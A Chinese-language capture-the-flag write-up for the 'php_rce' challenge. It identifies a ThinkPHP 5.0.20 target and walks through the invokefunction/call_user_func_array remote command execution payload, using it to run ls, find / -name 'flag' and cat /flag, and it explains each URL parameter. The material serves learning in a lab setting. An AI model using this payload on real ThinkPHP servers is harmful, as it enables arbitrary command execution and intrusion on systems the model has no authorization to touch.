打开靶场
点链接,发现是广告,没什么特别的,再看题目php.rce,查一下RCE是什么
RCE(Remote Command Execution)远程命令执行,是一种严重的网络安全漏洞。
RCE指攻击者能通过网络远程控制目标系统,执行恶意命令,获取敏感信息、控制设备、传播恶意软件等,对系统安全和数据造成极大威胁。
常见攻击方式 Web应用漏洞利用:如PHP应用中,若对用户输入过滤不严格,攻击者可通过表单、URL参数等注入恶意命令,借助服务器执行命令的函数,像 system() 、 exec() 等实现远程命令执行。
发现ThinkPHP是一个框架
尝试错误参数或任意版本,试错
输入?s=s或
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
s=index/\think\Container/invokefunction
- 在 ThinkPHP 框架中,
s
一般作为路由参数。这里指定要调用\think\Container
类的invokefunction
方法。\think\Container
是 ThinkPHP 的容器类,其主要作用是管理对象的依赖注入和实例化。invokefunction
方法可能用于动态调用其他函数。
- 在 ThinkPHP 框架中,
function=call_user_func_array
function
参数指定要调用的函数为call_user_func_array
。这是 PHP 的一个内置函数,它可以调用任意函数,并将参数以数组的形式传递给被调用的函数。
vars[0]=system
vars
是一个数组参数,vars[0]
的值为system
,表明要调用的具体函数是system
。在 PHP 里,system
函数用于执行外部系统命令,并返回命令执行的输出结果。
vars[1][]=ls
vars[1]
是传递给system
函数的参数,值为ls
。ls
是类 Unix 系统(如 Linux、macOS)中的命令,用于列出当前目录下的文件和文件夹信息。
发现ThinkPHP漏洞为5.0.20版本,输入
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
s=index/\think\app/invokefunction
:- 在 ThinkPHP 框架里,
s
通常作为路由参数。这里指定要调用\think\app
类中的invokefunction
方法,该方法可能具备动态调用其他函数的功能。
- 在 ThinkPHP 框架里,
function=call_user_func_array
:function
参数明确要使用call_user_func_array
函数。此函数是 PHP 的内置函数,它可以调用任意函数,并将参数以数组形式传递给被调用的函数。
vars[0]=system
:vars
是一个数组参数,vars[0]
的值为system
,意味着要调用的具体函数是system
。system
函数在 PHP 中用于执行外部系统命令,并将命令执行结果输出。
vars[1][]=ls
:vars[1]
是传递给system
函数的参数,值为ls
。ls
是 Linux 或 macOS 等类 Unix 系统中的命令,用于列出当前目录下的文件和文件夹信息。
输入 ,试图通过执行 find / -name "flag"
命令来查找服务器上名为 flag
的文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
s=index/\think\app/invokefunction
s
一般是路由参数,在 ThinkPHP 框架里用于指定路由规则。这里指定的路由路径index/\think\app/invokefunction
指向了\think\app
类中的invokefunction
方法,这个方法可能具备动态调用函数的能力。
function=call_user_func_array
function
参数指定要调用的函数为call_user_func_array
。call_user_func_array
是 PHP 的一个内置函数,它能够调用任意用户自定义或内置的函数,并且可以将参数以数组的形式传递给被调用的函数。
vars[0]=system
vars
是一个数组参数,vars[0]
的值为system
,这意味着要调用的具体函数是system
函数。在 PHP 中,system
函数用于执行外部系统命令,并将命令的输出返回。
vars[1][]=find / -name "flag"
vars[1]
是传递给system
函数的参数数组,这里的值为find / -name "flag"
,这是一个 Linux 系统命令,其作用是在根目录/
下查找所有名为flag
的文件。
输入
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
s=index/\think\app/invokefunction
s
是 ThinkPHP 框架里用于指定路由的参数。这里指定的路由指向\think\app
类的invokefunction
方法,此方法可能具备动态调用函数的功能。
function=call_user_func_array
function
参数明确要调用的函数是call_user_func_array
。这是 PHP 的一个内置函数,其作用是调用指定的函数,并将参数以数组形式传递给该函数。
vars[0]=system
vars
是一个数组参数,vars[0]
的值为system
,表明要调用的具体函数是system
。在 PHP 中,system
函数用于执行外部系统命令,并返回命令执行的输出结果。
vars[1][]=cat /flag
vars[1]
是传递给system
函数的参数,值为cat /flag
。cat
是 Linux 系统中的一个命令,用于查看文件内容,/flag
是文件路径,这个命令的目的是读取根目录下名为flag
的文件内容。
参考链接:[CTF_网络安全] 攻防世界 php_rce 解题详析